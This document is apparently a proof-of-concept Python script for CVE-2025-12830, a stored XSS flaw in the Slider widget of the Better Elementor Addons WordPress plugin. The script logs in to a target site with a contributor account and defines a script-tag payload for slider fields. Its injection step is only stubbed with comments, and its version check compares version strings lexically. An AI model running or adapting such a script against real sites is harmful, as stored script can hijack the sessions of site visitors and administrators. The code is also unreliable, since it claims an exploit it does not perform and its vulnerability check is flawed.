CVE-2025-12830 Better Elementor Addons插件Slider组件存储型XSS漏洞

import requests import sys from bs4 import BeautifulSoup # CVE-2025-12830 PoC - Better Elementor Addons Stored XSS # Target: WordPress site with Better Elementor Addons plugin <= 1.5.5 def exploit_stored_xss(target_url, username, password): """ Exploit the Stored XSS vulnerability in Better Elementor Addons Slider widget This PoC demonstrates how an authenticated contributor+ user can inject XSS payload """ # XSS payload - can be placed in various Slider attributes xss_payload = '<script>console.log("XSS Triggered - CVE-2025-12830")</script>' # Step 1: Login to WordPress session = requests.Session() login_url = f"{target_url}/wp-login.php" login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/' } response = session.post(login_url, data=login_data, allow_redirects=True) if 'wordpress_logged_in' not in session.cookies.get_dict(): print("[-] Login failed") return False print("[+] Login successful") # Step 2: Create or edit a page with Elementor # This would require Elementor Editor API interaction # The actual exploitation happens when adding a Slider widget with XSS in attributes # Example XSS injection points in Slider widget: # - Slider link URL field # - Slide title/description fields # - Image alt text # - Custom CSS classes print("[*] XSS Payload to inject:", xss_payload) print("[*] Injection point: Slider widget attributes in Elementor editor") print("[*] Required permission: Contributor or higher") # Step 3: Verify the stored XSS # After saving, any user viewing the page will trigger the XSS return True def verify_vulnerability(target_url): """ Verify if the target is vulnerable by checking plugin version """ # Check plugin version via WordPress API plugin_info_url = f"{target_url}/wp-json/wp/v2/plugins/better-elementor-addons" try: response = requests.get(plugin_info_url) if response.status_code == 200: data = response.json() version = data.get('version', 'unknown') print(f"[*] Detected Better Elementor Addons version: {version}") if version and version <= '1.5.5': print("[!] Target appears to be vulnerable") return True except: pass print("[*] Could not determine plugin version") return False if __name__ == "__main__": if len(sys.argv) < 4: print("Usage: python cve-2025-12830-poc.py <target_url> <username> <password>") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] print(f"[*] Testing CVE-2025-12830 on {target}") if verify_vulnerability(target): exploit_stored_xss(target, user, pwd)